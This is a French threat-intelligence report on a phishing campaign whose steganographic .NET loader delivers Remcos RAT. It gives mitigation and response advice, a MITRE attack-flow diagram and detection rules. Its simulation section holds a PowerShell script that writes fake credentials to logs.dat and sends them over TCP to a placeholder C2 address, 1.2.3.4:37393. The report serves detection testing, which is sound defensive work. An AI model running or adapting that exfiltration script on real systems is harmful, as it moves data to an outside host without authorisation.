Une campagne de chargeur stéganographique en plusieurs étapes déployant des charges utiles diversifiées dans le monde entier
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne de malwares en plusieurs étapes repose sur la stéganographie et l’exécution en mémoire pour livrer plusieurs charges utiles, y compris Remcos RAT. La chaîne d’infection commence par un e-mail de phishing contenant une archive malveillante qui dépose un exécutable .NET. Cet exécutable utilise des ressources intégrées et des méthodes stéganographiques pour charger les étapes suivantes directement en mémoire, aidant le malware à éviter la détection basée sur le disque.
Enquête
L’enquête a commencé après que la télémétrie a signalé un fichier suspect nommé GST Debit Note Apr_26.com. Les analystes ont déterminé que le fichier était un exécutable .NET 32 bits emballé déguisé en jeu. Une ingénierie inverse plus poussée a révélé une stéganographie intégrée dans un objet Bitmap .NET, qui dissimulait le chargeur de l’étape suivante, Optimax.dll, et lui permettait de s’exécuter entièrement en mémoire.
Atténuation
Les organisations devraient déployer un filtrage d’email efficace pour bloquer les pièces jointes d’archive suspectes et les tentatives de phishing. Les solutions EDR devraient être capables de détecter l’exécution en mémoire, le creux de processus et le comportement suspect de PowerShell. Les équipes devraient également surveiller les changements non autorisés dans le registre, en particulier dans les clés Run, et appliquer un contrôle strict des applications pour empêcher le lancement d’exécutables non signés.
Réponse
Les points d’extrémité affectés doivent être isolés immédiatement pour limiter le mouvement latéral et le vol de données. Les enquêteurs devraient effectuer une analyse forensique de la mémoire pour identifier les composants sans fichier et confirmer la présence du Remcos_Mutex_Inj mutex. Une vérification complète devrait également rechercher une persistance non autorisée dans le répertoire AppData et les clés Run du registre, tandis que les identifiants devraient être réinitialisés pour tous les utilisateurs dont les navigateurs ont pu être accédés par le malware.
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing[« <b>Action</b> – <b idea=’T1566.001’>Phishing: Spearphishing Attachment</b><br/><b>Details</b>: Malicious archive GST Debit Note Apr_26.com sent to victims. »] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego[« <b idea=’T1027.003’>Obfuscated Files or Information: Steganography</b><br/><b>Details</b>: Hiding Optimax.dll inside a serialized .NET Bitmap object<br/>within the executable resource section. »] class evasion_stego technique exec_appdomain[« <b idea=’T1574.014’>Hijack Execution Flow: AppDomainManager</b><br/><b>Details</b>: Using reflection and AppDomain.Load to execute<br/>payload directly from memory without touching disk. »] class exec_appdomain technique %% Second Stage loader_stage2[« <b idea=’T1055.012’>Process Injection: Process Hollowing</b><br/><b>Details</b>: System Optimizer Ultimate.dll deploys final payload<br/>by hollowing a default browser process. »] class loader_stage2 technique malware_remcos[« <b idea=’Malware’>Remcos RAT</b><br/><b>Description</b>: Remote Access Trojan deployed<br/>as the final payload. »] class malware_remcos malware %% Persistence and Evasion evasion_sandbox[« <b idea=’T1497’>Virtualization/Sandbox Evasion</b><br/><b>Details</b>: Checking for sbiedll.dll and registry keys<br/>to detect sandboxes or virtual machines. »] class evasion_sandbox technique persistence_active[« <b idea=’T1547.014’>Boot or Logon Autostart Execution: Active Setup</b><br/><b>Details</b>: Copying malware to AppDataRoaming and<br/>configuring a Run registry key for persistence. »] class persistence_active technique %% Collection and Exfiltration collect_browser[« <b idea=’T1217’>Browser Information Discovery</b><br/><b>Details</b>: Collecting Chrome and Firefox credentials. »] class collect_browser technique steal_cookies[« <b idea=’T1539’>Steal Web Session Cookie</b><br/><b>Details</b>: Capturing active web session cookies. »] class steal_cookies technique exfil_c2[« <b idea=’T1041’>Exfiltration Over C2 Channel</b><br/><b>Details</b>: Sending captured data from logs.dat<br/>to the attacker via Command and Control. »] class exfil_c2 technique file_logs[« <b idea=’File’>logs.dat</b><br/><b>Description</b>: Local file used to store<br/>stolen credentials and cookies. »] class file_logs file %% Connections %% Flow of attack attack_phishing –>|leads_to| evasion_stego evasion_stego –>|unpacks| exec_appdomain exec_appdomain –>|loads| loader_stage2 loader_stage2 –>|deploys| malware_remcos %% Malware actions malware_remcos –>|performs| evasion_sandbox malware_remcos –>|establishes| persistence_active malware_remcos –>|performs| collect_browser collect_browser –>|leads_to| steal_cookies steal_cookies –>|saves_to| file_logs file_logs –>|sent_via| exfil_c2
Flux d’Attaque
Détections
Appel de méthodes .NET suspectes à partir de Powershell (via powershell)
Voir
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)
Voir
Possibilité d’exécution à travers des lignes de commande PowerShell cachées (via cmdline)
Voir
Indicateurs possibles d’obfuscation PowerShell (via powershell)
Voir
Exfiltration des données capturées vers Command and Control [Connexion réseau Windows]
Voir
Exécution de script PowerShell obfusqué dans une campagne de chargeur stéganographique [Windows PowerShell]
Voir
Détection de l’infection RAT Remcos via des techniques stéganographiques et sans fichier [Création de processus Windows]
Voir
Exécution de la Simulation
Condition Préalable : L’examen pré-vol de la télémétrie & ligne de base doit avoir été passé.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à un mauvais diagnostic.
-
Narratif d’attaque & Commandes : L’adversaire a réussi à établir un point d’appui. Pour atteindre l’objectif, ils collectent la télémétrie du système et la stockent dans un fichier nommé
logs.datpour se faire passer pour des journaux systèmes standards. L’adversaire initie ensuite une connexion réseau à l’infrastructure C2 établie (en utilisant l’IP1.2.3.4et le port37393pour cette simulation) pour exfiltrer les données. Cela imite le comportement d’un chargeur stéganographique tentant de déplacer des données hors du réseau via un canal spécifique et hardcodé. -
Script de Test de Régression :
# Simulation de l'exfiltration de données via un nom de fichier et des paramètres C2 spécifiques $C2_IP = "1.2.3.4" # IP C2 simulée $C2_PORT = 37393 $FILENAME = "logs.dat" # 1. Créez le fichier de données 'malveillant' Write-Output "Données Sensibles : UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME" # 2. Simuler la connexion réseau au C2 # Utiliser un client TCP pour forcer la télémétrie spécifique du port/IP try { $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT) $stream = $client.GetStream() $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME")) $stream.Write($data, 0, $data.Length) $client.Close() } catch { Write-Host "Connexion échouée (attendu si l'IP est inexistante), mais la télémétrie devrait être capturée par le pare-feu." } -
Commandes de Nettoyage :
# Supprimer le fichier malveillant simulé Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue